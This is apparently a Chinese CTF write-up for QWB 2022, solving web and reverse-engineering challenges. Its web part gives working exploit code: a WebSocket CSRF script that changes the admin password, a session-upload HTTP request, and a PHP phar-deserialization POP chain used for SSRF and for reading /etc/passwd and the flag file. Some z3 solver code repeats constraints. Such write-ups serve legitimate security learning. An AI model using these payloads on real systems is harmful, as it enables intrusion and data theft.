Back

qwb2022 Writeup by or4nge

强网杯好难呜呜呜~

Web

babyweb

任意注册,main 路由下 websocket 可以让管理员访问任意 ip:port,修改密码,在自己 vps 上构造 script 来 csrf:

<script> 
  var ws = null; 
  var url = "ws://" + "127.0.01:port" + "/bot"; 
  ws = new WebSocket(url); 
  ws.onopen = function (event) { 
    var msg = document.getElementById("sendbox").value; 
    ws.send("changepwd 123456"); 
  }
</script>

修改密码后拿到 hint,后台是个 go,利用 python 和 go 对 json 字段理解不同双鞋相同字段前后绕过,设置购买数量为负数后购买flag即可。

easyweb

http://47.104.95.124:8080/showfile.php?f=./demo/../class.php 任意文件读,审计发现触发 adminShow 的 show 可以 ssrf。 注意到 session 没开启,用 PHP_SESSION_UPLOAD_PROGRESS 强制开启 session_start() 来上传文件:

POST /index.php HTTP/1.1
Host: 47.104.95.124:8080
Content-Length: 400
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.104.95.124:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvR1Uq45sbhgKPcuw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.104.95.124:8080/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=eyJ1c2VyIjoiYWRtaW4ifQ
Connection: close

------WebKitFormBoundaryvR1Uq45sbhgKPcuw
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundaryvR1Uq45sbhgKPcuw

通过 phar 反序列化触发 ssrf,构造 pop 链:通过先 wakeup,然后在 destruct 后重新赋值的方式来构造 url 进行触发。

<?php

use AdminShow as GlobalAdminShow;
use GuestShow as GlobalGuestShow;

class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    public function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],$filename);
        echo 'upload'.$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    public function __toString(){
        return $this->file["name"];
    }
    public function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public $name;
    public function __construct($file)
    {
        $this->file=$file;
    }
    public function __toString(){
        echo "guest tostring";
        $str = $this->file->name;
        return "";
    }
    public function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    public function __destruct(){
        echo $this;
    }
}

class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return "1";
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";

    }
    public function __wakeup()
    {
        echo "wakeup";
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}
if(isset($_GET[1])){
    unserialize($_GET[1]);
    die();
}
$filename = "testmysql.php";
$g0 = new GuestShow($filename);
$g1 = new GuestShow($filename);
$a0 = new AdminShow($filename);
$a1 = new AdminShow($filename);
$u0 = new Upload();
$u1 = new Upload();
$u2 = new Upload();
$u1->filesize = $a0;
$u1->date = "/etc/passwd";
$u2->filesize = $a0;
$u2->date = "file://";
$g1->file = $a0;
$u2->tmp = $g1;
$a0->str[0] = $u1;
$a0->str[1] = $u2;
$u0->tmp = $a0;
$g0->file = $u0;
$phar = new Phar("aa.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($g0);
$phar->stopBuffering();

任意文件读 /proc/1/net/arp,截取部分发现内网存在 10.10.10.10 这个服务

IP address       HW type     Flags       HW address            Mask     Device
10.10.10.2       0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.14      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.12      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.10      0x1         0x2         02:42:0a:0a:0a:0a     *        eth1
10.10.10.8       0x1         0x0         00:00:00:00:00:00     *        eth1
172.18.0.1       0x1         0x2         02:42:e8:30:05:41     *        eth0
172.18.0.178     0x1         0x0         00:00:00:00:00:00     *        eth0
172.18.0.176     0x1         0x0         00:00:00:00:00:00     *        eth0

用 http 协议 ssrf 过去发现是个 nginx 的 php,有一处 ssrf,直接请求 http://10.10.10.10/index.php?url=file:///flag 即可。

Reverse

find_basic

动调发现有多个函数都有虚拟机结构,输入部分在 0x4942 处,继续调试进入加密部分 0x750A9,它由几百个类似的代码块构成,每个代码块调用的函数都有数个操作码,难以普通地归类,故使用 idapython 动调脚本提取代码

from binascii import hexlify

ea = get_reg_value('eip')
end = ea + 0x1806
main_func = get_func_name(ea)

fp = open('all_asm.txt','w')

while True:
    ea = get_reg_value('eip')
    next_ea = next_head(ea)
    fp.write(hexlify(get_bytes(ea, next_ea - ea)).decode())
    fp.write('\t' + GetDisasm(ea)+'\n')
    if ea >= end:
        break
    if main_func == get_func_name(ea):
        step_into()
    else:
        step_over()
    wait_for_next_event(WFNE_SUSP, -1)

然后观察特征,使用jnz和jmp指令作为子模块的标识,进一步提取

codes = open('all_asm.txt', 'r').read().split('\n')
c = open('asm.txt', 'w')
for i in range(len(codes)):
    if codes[i].find('jnz') != -1 and codes[i+2].find('jnz') == -1:
        j = i+3
        while j < len(codes) and codes[j].find('jmp') == -1:
            c.write(codes[j]+'\n')
            j += 1

codes = open('asm.txt', 'r').read().split('\n')
codes = [i[:i.find('\t')] for i in codes]

datas = b''
for i in codes:
    datas += unhexlify(i)
datas += '\xc3'
print(datas)
open('mch1', 'wb').write(datas)

将对应的机器码写入文件里,并补齐栈平衡以及函数返回,使用 ida 反调试得到清晰的结构

根据提示中的绝对值相关列出数个方程,z3 求解即可

from z3 import *
a1 = [BitVec('x%d' % i, 32)for i in range(28)]
con1 = 40085 * a1[3]\
    - 222506 * a1[2]\
    + 54507 * a1[4]\
    + 88056 * a1[1]\
    + 212571 * a1[5]\
    - 160722 * a1[0]\
    - 434973

con2 = 49300 * a1[3]\
    + 259229 * a1[0]\
    + 278066 * a1[2]\
    - 127937 * a1[1]\
    - 295169 * a1[4]\
    - 8368677

con3 = 42214 * a1[1]\
    - 108025 * a1[3]\
    + 205972 * a1[0]\
    + 27559 * a1[2]\
    - 17114904
con4 = - 151496 * a1[1]\
    + 204740 * a1[0]\
    + 80143 * a1[2]\
    - 12295783
con5 = 241935 * a1[1]\
    + 124128 * a1[0]\
    - 38790036
con6 = 273221 * a1[0]\
    - 27868542

con7 = -279656 * a1[2]\
    - 199574 * a1[1]\
    - 258130 * a1[8]\
    - 200399 * a1[3]\
    - 173903 * a1[7]\
    + 175816 * a1[0]\
    - 234569 * a1[6]\
    - 108273 * a1[4]\
    - 222957 * a1[5]\
    + 128244179

con8 = - 81541 * a1[1]\
    - 268763 * a1[0]\
    + 219073 * a1[3]\
    + 34782 * a1[6]\
    + 21153 * a1[5]\
    + 173005 * a1[7]\
    + 76285 * a1[4]\
    + 32825 * a1[2]\
    - 13874925

con9 = 85214 * a1[2]\
    - 268299 * a1[3]\
    - 230981 * a1[1]\
    + 290772 * a1[5]\
    - 74394 * a1[4]\
    + 28044 * a1[6]\
    - 242995 * a1[0]\
    + 50871139

con10 = -279656 * a1[2]\
    - 199574 * a1[1]\
    - 258130 * a1[8]\
    - 200399 * a1[3]\
    - 173903 * a1[7]\
    + 175816 * a1[0]\
    - 234569 * a1[6]\
    - 108273 * a1[4]\
    - 222957 * a1[5]\
    + 128244179

con11 = - 81541 * a1[1]\
    - 268763 * a1[0]\
    + 219073 * a1[3]\
    + 34782 * a1[6]\
    + 21153 * a1[5]\
    + 173005 * a1[7]\
    + 76285 * a1[4]\
    + 32825 * a1[2]\
    - 13874925

con12 = 85214 * a1[2]\
    - 268299 * a1[3]\
    - 230981 * a1[1]\
    + 290772 * a1[5]\
    - 74394 * a1[4]\
    + 28044 * a1[6]\
    - 242995 * a1[0]\
    + 50871139

con13 = -208564 * a1[0]\
    + 81934 * a1[9]\
    - 106641 * a1[7]\
    + 198477 * a1[2]\
    + 154505 * a1[1]\
    + 48440 * a1[5]\
    - 149004 * a1[3]\
    - 108909 * a1[4]\
    - 51714 * a1[10]\
    - 296420 * a1[8]\
    + 263021 * a1[6]\
    + 688726

con14 = - 131130 * a1[2]\
    + 224265 * a1[3]\
    + 230702 * a1[0]\
    - 176285 * a1[7]\
    - 274778 * a1[4]\
    + 103848 * a1[8]\
    - 136039 * a1[9]\
    - 241151 * a1[5]\
    + 15542 * a1[6]\
    - 17521 * a1[1]\
    + 41644083

con15 = 195056 * a1[4]\
    - 15717 * a1[9]\
    - 180214 * a1[6]\
    - 114427 * a1[5]\
    + 277782 * a1[7]\
    + 261379 * a1[8]\
    - 225266 * a1[2]\
    + 107609 * a1[0]\
    + 259792 * a1[3]\
    + 270563 * a1[11]\
    + 205124 * a1[1]\
    + 138334 * a1[10]\
    + 103474 * a1[12]\
    - 117027475

con16 = 189573 * a1[8]\
    + 64393 * a1[6]\
    + 231137 * a1[1]\
    + 145315 * a1[4]\
    - 53938 * a1[10]\
    - 291345 * a1[5]\
    + 216413 * a1[3]\
    - 204681 * a1[0]\
    - 65519 * a1[9]\
    - 262826 * a1[2]\
    + 187002 * a1[7]\
    + 271732 * a1[11]\
    - 38663722

con17 = 15645 * a1[13]\
    + 276267 * a1[12]\
    + 31190 * a1[5]\
    - 244002 * a1[2]\
    + 81415 * a1[3]\
    - 22940 * a1[10]\
    - 126076 * a1[7]\
    + 8932 * a1[8]\
    + 112153 * a1[4]\
    + 194218 * a1[11]\
    + 197656 * a1[9]\
    - 204463 * a1[0]\
    - 219500 * a1[1]\
    + 19777 * a1[6]\
    - 24531260

con18 = 279969 * a1[8]\
    - 123977 * a1[4]\
    + 162094 * a1[0]\
    - 215769 * a1[1]\
    - 18878 * a1[14]\
    - 80292 * a1[11]\
    - 237675 * a1[5]\
    - 222121 * a1[6]\
    + 269381 * a1[12]\
    + 153934 * a1[13]\
    - 165380 * a1[10]\
    - 157137 * a1[2]\
    - 186748 * a1[3]\
    + 170756 * a1[7]\
    - 186932 * a1[9]\
    + 87264470

con19 = -87190 * a1[2]\
    - 74836 * a1[1]\
    + 16892 * a1[9]\
    - 185781 * a1[8]\
    - 12726 * a1[7]\
    + 85022 * a1[12]\
    + 232989 * a1[10]\
    + 68516 * a1[0]\
    - 120254 * a1[6]\
    - 204892 * a1[5]\
    - 65901 * a1[4]\
    - 201087 * a1[13]\
    + 158612 * a1[11]\
    - 49445 * a1[3]\
    - 181860 * a1[14]\
    - 111015 * a1[15]\
    + 43646834

con20 = -170184 * a1[3]\
    - 137671 * a1[4]\
    - 85374 * a1[9]\
    - 73658 * a1[11]\
    + 230891 * a1[13]\
    + 54346 * a1[15]\
    - 280694 * a1[0]\
    + 60411 * a1[2]\
    + 27171 * a1[7]\
    - 50618 * a1[6]\
    + 11843 * a1[10]\
    + 131778 * a1[5]\
    + 13956 * a1[8]\
    - 42562 * a1[12]\
    - 19972 * a1[1]\
    - 145797 * a1[14]\
    - 58717 * a1[16]\
    + 74613584
    
con21 = 242475 * a1[16]\
    - 234385 * a1[0]\
    + 124653 * a1[2]\
    - 287929 * a1[13]\
    - 190916 * a1[12]\
    - 277578 * a1[11]\
    + 39 * a1[8]\
    - 41625 * a1[6]\
    + 67262 * a1[5]\
    - 250144 * a1[9]\
    - 70886 * a1[10]\
    - 223492 * a1[15]\
    - 179651 * a1[7]\
    + 206538 * a1[17]\
    + 161965 * a1[3]\
    - 146258 * a1[4]\
    + 167068 * a1[1]\
    + 196330 * a1[14]\
    + 76353817

con22 = 29700 * a1[18]\
    - 60542 * a1[5]\
    + 274107 * a1[11]\
    + 154914 * a1[13]\
    - 143185 * a1[12]\
    + 167424 * a1[2]\
    + 137439 * a1[8]\
    - 186151 * a1[10]\
    - 77157 * a1[9]\
    - 233090 * a1[6]\
    - 27400 * a1[7]\
    - 76557 * a1[15]\
    - 108002 * a1[17]\
    + 103161 * a1[14]\
    - 133956 * a1[1]\
    - 219502 * a1[4]\
    - 202897 * a1[0]\
    - 250957 * a1[3]\
    - 119297 * a1[16]\
    + 100812197
    
con23 = -171971 * a1[9]\
    + 38740 * a1[4]\
    - 31661 * a1[10]\
    - 194653 * a1[18]\
    - 295910 * a1[16]\
    + 136489 * a1[12]\
    + 212619 * a1[17]\
    + 165592 * a1[11]\
    + 211791 * a1[1]\
    + 156909 * a1[2]\
    - 232187 * a1[8]\
    - 73709 * a1[7]\
    + 79735 * a1[14]\
    + 184882 * a1[13]\
    + 111105 * a1[6]\
    + 148840 * a1[3]\
    - 35774 * a1[19]\
    - 275711 * a1[0]\
    + 135265 * a1[5]\
    - 141221 * a1[15]\
    - 39117122

con24 = -186514 * a1[17]\
    - 7791 * a1[2]\
    + 276755 * a1[11]\
    - 294815 * a1[14]\
    - 238763 * a1[15]\
    - 146099 * a1[5]\
    + 184977 * a1[16]\
    + 178413 * a1[1]\
    + 287303 * a1[3]\
    - 71946 * a1[10]\
    - 73771 * a1[9]\
    - 129032 * a1[18]\
    + 200202 * a1[20]\
    - 150509 * a1[6]\
    - 156625 * a1[13]\
    + 14093 * a1[7]\
    + 192584 * a1[12]\
    - 122770 * a1[0]\
    - 255494 * a1[8]\
    + 65 * a1[4]\
    - 108479 * a1[19]\
    + 13521895
    
con25 = 210978 * a1[7]\
    + 300336 * a1[10]\
    + 207254 * a1[15]\
    + 216206 * a1[5]\
    - 63529 * a1[0]\
    - 274903 * a1[11]\
    - 10750 * a1[14]\
    + 25008 * a1[4]\
    - 100942 * a1[19]\
    - 104857 * a1[2]\
    + 266501 * a1[8]\
    + 229070 * a1[17]\
    - 234559 * a1[16]\
    + 298459 * a1[3]\
    - 172052 * a1[6]\
    - 98938 * a1[12]\
    + 66155 * a1[13]\
    - 84761 * a1[1]\
    - 283508 * a1[18]\
    + 288577 * a1[21]\
    - 75407 * a1[20]\
    - 204447 * a1[9]\
    + 4351595

con26 = -201846 * a1[14]\
    + 272550 * a1[20]\
    + 60398 * a1[6]\
    + 45580 * a1[7]\
    + 195108 * a1[11]\
    + 38596 * a1[0]\
    + 220445 * a1[18]\
    - 190873 * a1[15]\
    + 103477 * a1[9]\
    + 118842 * a1[19]\
    + 206336 * a1[10]\
    - 249940 * a1[17]\
    - 48084 * a1[21]\
    + 104901 * a1[5]\
    - 48576 * a1[4]\
    + 287104 * a1[16]\
    - 286686 * a1[1]\
    - 30253 * a1[22]\
    + 121183 * a1[3]\
    + 90967 * a1[2]\
    - 195519 * a1[12]\
    - 129304 * a1[8]\
    + 141188 * a1[13]\
    - 56642147

con27 = 110609 * a1[4]\
    + 5913 * a1[21]\
    - 197578 * a1[7]\
    + 45127 * a1[18]\
    + 282426 * a1[13]\
    - 71019 * a1[16]\
    - 6980 * a1[11]\
    + 208216 * a1[15]\
    - 13544 * a1[20]\
    + 17852 * a1[8]\
    + 167833 * a1[12]\
    + 145568 * a1[17]\
    + 3610 * a1[19]\
    + 91985 * a1[1]\
    - 267402 * a1[5]\
    - 32355 * a1[14]\
    - 197823 * a1[23]\
    + 135525 * a1[2]\
    - 229424 * a1[22]\
    + 38093 * a1[10]\
    + 50167 * a1[6]\
    + 118713 * a1[9]\
    + 123874 * a1[0]\
    - 89499 * a1[3]\
    - 43090537

con28 = -164755 * a1[9]\
    + 175470 * a1[8]\
    - 28660 * a1[1]\
    + 7217 * a1[11]\
    - 295102 * a1[4]\
    - 28531 * a1[19]\
    - 106265 * a1[25]\
    - 92750 * a1[10]\
    + 16738 * a1[21]\
    - 231714 * a1[6]\
    + 172042 * a1[24]\
    - 215890 * a1[17]\
    + 199697 * a1[12]\
    - 84235 * a1[7]\
    + 44614 * a1[13]\
    + 75104 * a1[5]\
    - 195843 * a1[0]\
    - 15784 * a1[14]\
    - 131950 * a1[15]\
    - 268167 * a1[16]\
    - 197565 * a1[20]\
    + 24340 * a1[23]\
    + 105130 * a1[2]\
    - 79750 * a1[22]\
    - 264668 * a1[3]\
    + 50329 * a1[18]\
    + 137774797

con28 = 62119 * a1[17]\
    - 17215 * a1[24]\
    + 289621 * a1[18]\
    + 53006 * a1[20]\
    + 95969 * a1[11]\
    + 202404 * a1[0]\
    + 247060 * a1[21]\
    + 144211 * a1[19]\
    + 280106 * a1[7]\
    - 126431 * a1[10]\
    - 226837 * a1[12]\
    + 10463 * a1[23]\
    + 121257 * a1[13]\
    - 84190 * a1[9]\
    + 88917 * a1[1]\
    + 15453 * a1[14]\
    + 271442 * a1[4]\
    + 110851 * a1[3]\
    - 231422 * a1[5]\
    + 176741 * a1[22]\
    + 266134 * a1[2]\
    - 197327 * a1[6]\
    - 55225 * a1[8]\
    - 265465 * a1[15]\
    + 119612 * a1[16]\
    - 98514358

con29 = 62119 * a1[17]\
    - 17215 * a1[24]\
    + 289621 * a1[18]\
    + 53006 * a1[20]\
    + 95969 * a1[11]\
    + 202404 * a1[0]\
    + 247060 * a1[21]\
    + 144211 * a1[19]\
    + 280106 * a1[7]\
    - 126431 * a1[10]\
    - 226837 * a1[12]\
    + 10463 * a1[23]\
    + 121257 * a1[13]\
    - 84190 * a1[9]\
    + 88917 * a1[1]\
    + 15453 * a1[14]\
    + 271442 * a1[4]\
    + 110851 * a1[3]\
    - 231422 * a1[5]\
    + 176741 * a1[22]\
    + 266134 * a1[2]\
    - 197327 * a1[6]\
    - 55225 * a1[8]\
    - 265465 * a1[15]\
    + 119612 * a1[16]\
    - 98514358

con30 = 151924 * a1[25]\
    - 265311 * a1[6]\
    + 107604 * a1[11]\
    - 47851 * a1[24]\
    + 227178 * a1[13]\
    - 162699 * a1[2]\
    + 2171 * a1[20]\
    + 211070 * a1[23]\
    + 94815 * a1[22]\
    + 124760 * a1[16]\
    + 41462 * a1[19]\
    - 277022 * a1[15]\
    - 62501 * a1[26]\
    - 17727 * a1[14]\
    - 257908 * a1[4]\
    - 175112 * a1[21]\
    + 8972 * a1[10]\
    - 71801 * a1[8]\
    - 114724 * a1[5]\
    - 252898 * a1[9]\
    + 161457 * a1[1]\
    - 64461 * a1[0]\
    - 111493 * a1[18]\
    + 200145 * a1[17]\
    - 290075 * a1[3]\
    + 158466 * a1[12]\
    - 275262 * a1[7] + 86899519

con31 = 142850 * a1[18]\
    - 166704 * a1[1]\
    + 284852 * a1[22]\
    + 248972 * a1[7]\
    - 76200 * a1[17]\
    + 261708 * a1[19]\
    + 91911 * a1[24]\
    + 22347 * a1[3]\
    + 76006 * a1[21]\
    + 256511 * a1[6]\
    - 100052 * a1[14]\
    - 115830 * a1[2]\
    - 93202 * a1[23]\
    + 248858 * a1[12]\
    - 262669 * a1[10]\
    + 67895 * a1[5]\
    - 111771 * a1[8]\
    - 132193 * a1[11]\
    - 141512 * a1[13]\
    + 139406 * a1[27]\
    + 109646 * a1[16]\
    - 286309 * a1[9]\
    + 175476 * a1[15]\
    + 138067 * a1[20]\
    + 192825 * a1[25]\
    + 199577 * a1[0] - 63091 * a1[4] - 285207 * a1[26] - 58820340

s = Solver()

for i in range(28):
    s.add(a1[i] > 0x20)
    s.add(a1[i] < 0x7f)

s.add(a1[0] == ord('f'))
s.add(a1[1] == ord('l'))
s.add(a1[2] == ord('a'))
s.add(a1[3] == ord('g'))
s.add(a1[4] == ord('{'))
s.add(a1[27] == ord('}'))

s.add(con1 == 0)
s.add(con2 == 0)
s.add(con3 == 0)
s.add(con4 == 0)
s.add(con5 == 0)
s.add(con6 == 0)
s.add(con7 == 0)
s.add(con8 == 0)
s.add(con9 == 0)
s.add(con10 == 0)
s.add(con11 == 0)
s.add(con12 == 0)
s.add(con13 == 0)
s.add(con14 == 0)
s.add(con15 == 0)
s.add(con16 == 0)
s.add(con17 == 0)
s.add(con18 == 0)
s.add(con19 == 0)
s.add(con20 == 0)
s.add(con21 == 0)
s.add(con22 == 0)
s.add(con23 == 0)
s.add(con24 == 0)
s.add(con25 == 0)
s.add(con26 == 0)
s.add(con27 == 0)
s.add(con28 == 0)
s.add(con29 == 0)
s.add(con30 == 0)
s.add(con31 == 0)

if sat == s.check():
    m = s.model()
    flag = ''
    for i in a1:
        flag += chr(m[i].as_long())

import hashlib

hl = hashlib.md5()
hl.update(flag.encode())
print (hl.hexdigest() == '042905954c2c27f21bd74489ea0d151f')
print (flag)

GameMaster

.net逆向

一个21点游戏,逆向发现存在作弊码

if (memcmp1(input, "MF3K", 4)) {
    try {
        game.Player.Bet -= 22m;
        for (int i = 0; i < memory.Length; i++) {
            memory[i] ^= 34;
        }
        Environment.SetEnvironmentVariable("AchivePoint1", game.Player.Balance.ToString());
        return;
     }
}
if (memcmp1(input, "EEPW", 4)) {
    try {
        game.Player.Balance += 175m;
        byte[] key = new byte[16]
        {
            66, 114, 97, 105, 110, 115, 116, 111, 114, 109,
            105, 110, 103, 33, 33, 33
        };
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        rijndaelManaged.Key = key;
        rijndaelManaged.Mode = CipherMode.ECB;
        rijndaelManaged.Padding = PaddingMode.Zeros;
        ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
        m = cryptoTransform.TransformFinalBlock(memory, 0, memory.Length);
        Environment.SetEnvironmentVariable("AchivePoint2", game.Player.Balance.ToString());
        return;
    }
}
if (memcmp1(input, "6VD6", 4)) {
    try {
        game.Player.Balance -= 27m;
        Environment.SetEnvironmentVariable("AchivePoint3", game.Player.Balance.ToString());
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        MemoryStream serializationStream = new MemoryStream(m);
        binaryFormatter.Deserialize(serializationStream);
        return;
    }
}

依次触发三个作弊码,就会对文件内容进行解密并反序列化

解密后发现序列化内容中包含了一个dll文件:

private static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream)
{
    int num = -1;
    for (int i = 0; i < 320; i++)
    {
        x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);
        y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);
        z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);
        bool flag = i % 8 == 0;
        if (flag)
        {
            num++;
        }
        KeyStream[num] = (byte)((long)((long)KeyStream[num] << 1) | (long)((ulong)((uint)((z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))))));
    }
}

private static void ParseKey(ulong[] L, byte[] Key)
{
    for (int i = 0; i < 3; i++)
    {
        for (int j = 0; j < 4; j++)
        {
            Key[i * 4 + j] = (byte)(L[i] >> j * 8 & 255UL);
        }
    }
}

public T1()
{
    try
    {
        string environmentVariable = Environment.GetEnvironmentVariable("AchivePoint1");
        string environmentVariable2 = Environment.GetEnvironmentVariable("AchivePoint2");
        string environmentVariable3 = Environment.GetEnvironmentVariable("AchivePoint3");
        bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null;
        if (!flag)
        {
            ulong num = ulong.Parse(environmentVariable);
            ulong num2 = ulong.Parse(environmentVariable2);
            ulong num3 = ulong.Parse(environmentVariable3);
            ulong[] array = new ulong[3];
            byte[] array2 = new byte[40];
            byte[] array3 = new byte[40];
            byte[] array4 = new byte[12];
            byte[] first = new byte[] { 
                101, 5, 80, 213, 163, 26, 59, 38, 
                19, 6, 173, 189, 198, 166, 140, 183, 
                42, 247, 223, 24, 106, 20, 145, 37, 
                24, 7, 22, 191, 110, 179, 227, 5, 
                62, 9, 13, 17, 65, 22, 37, 5
            };
            byte[] array5 = new byte[] {
                60, 100, 36, 86, 51, 251, 167, 108, 
                116, 245, 207, 223, 40, 103, 34, 62, 
                22, 251, 227
            };
            array[0] = num;
            array[1] = num2;
            array[2] = num3;
            T1.Check1(array[0], array[1], array[2], array2);
            bool flag2 = first.SequenceEqual(array2);
            if (flag2)
            {
                T1.ParseKey(array, array4);
                for (int i = 0; i < array5.Length; i++)
                {
                    array5[i] ^= array4[i % array4.Length];
                }
                MessageBox.Show("flag{" + Encoding.Default.GetString(array5) + "}", "Congratulations!", MessageBoxButtons.OK);
            }
        }
    }
    catch (Exception)
    {
    }
}

使用 z3 求解三个环境变量

from z3 import *

x = BitVec('x', 64)
y = BitVec('y', 64)
z = BitVec('z', 64)

flag1 = [
    101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 
    189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 
    20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 
    62, 9, 13, 17, 65, 22, 37, 5
]

s = Solver()

for i in range(320):
    x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
    y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
    z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
    cur = ((z >> 32) & 1 & (x >> 30 & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1))
    s.add(cur == (flag1[i // 8] >> (7 - i % 8)) & 1)

if s.check() == sat:
    m = s.model()
    print (m)
else:
    print ('no res')

求解,或动调改内存

array = [156324965, 868387187, 3131229747]
Key = [0] * 12
for i in range(3):
    for j in range(4):
        Key[i * 4 + j] = (array[i] >> (j * 8)) & 0xff

print (Key)
cipher = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]

for i in range(len(cipher)):
    print (chr(cipher[i] ^ Key[i % len(Key)]), end='')

Easyapk

逻辑在 so 层,有大量的垃圾指令,实际逻辑是先进行 rot13,再进行 tea 加密 解密脚本如下:

#include <stdio.h>  
#include <stdint.h>  

//解密函数  
void decrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */  
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  
    for (i=0; i<32; i++) {                         /* basic cycle start */  
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);  
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);  
        sum -= delta;  
    }                                              /* end cycle */  
    v[0]=v0; v[1]=v1;  
}  
  
int main()  
{  
    uint32_t v[]={1570024068u, 351937696u, 727056912u, 3063668041u, 2867849940u, 1267528902u, 159365321u, 3052163538u},k[4]={0x33323130, 0x37363534, 0x62613938, 0x66656463};  
    // v为要加密的数据是两个32位无符号整数  
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位  
    printf("加密后的数据:%u %u\n",v[0],v[1]);  
    decrypt(v, k);  
    decrypt(v + 2, k);  
    decrypt(v + 4, k);  
    decrypt(v + 6, k);
    unsigned char *x = (unsigned char *)v;
    for (int i = 0; i < 32; i++) {
        printf("%x", x[i]);
    }  
    return 0;  
}  
// synt{Vg_Vf_A0g_guNg_zHpu_unEqre}

结果进行rot13即可

flag{It_Is_N0t_thAt_mUch_haRder}

deeprev

将 shellcode 隐藏在了 relocation 中

import lief
from collections import namedtuple
from dataclasses import dataclass

b = lief.ELF.parse('./deeprev')

def to_sym(name):
    assert len(name) == 1
    return ord(name[0])

Rel = namedtuple('REL', ['dst', 'val', 'ridx'])
Copy = namedtuple('CPY', ['dst', 'symbol', 'ridx'])
R64 = namedtuple('R64', ['dst', 'symbol', 'addend', 'ridx'])
R32 = namedtuple('R32', ['dst', 'symbol', 'addend', 'ridx'])

@dataclass
class Symbol(object):
    idx: int

    def __repr__(self):
        return f's{self.idx}'

@dataclass
class Reloc(object):
    idx: int

    def __repr__(self):
        return f'r{self.idx}'

@dataclass
class Ref(object):

    def __repr__(self):
        return f'&{self.val}'

@dataclass
class SymAddr(object):
    sym: Symbol
    field: str

    def __repr__(self):
        return f'{self.sym}.{self.field}'

@dataclass
class RelocAddr(object):
    reloc: Reloc
    field: str

    def __repr__(self):
        return f'{self.reloc}.{self.field}'

    def vaddr(self):
        off = 0
        print(self.field)
        # match self.field:
        #    case 'r_address': off = 0
        #    case 'r_info': off = 8
        #    case 'r_addend': off = 16

        return (self.reloc.idx * 24) + off + rela.virtual_address

@dataclass
class FlagAddr(object):
    idx: int

    def __repr__(self):
        return f'flag[{self.idx}]'

BaseAddr = namedtuple('baseaddr', [])
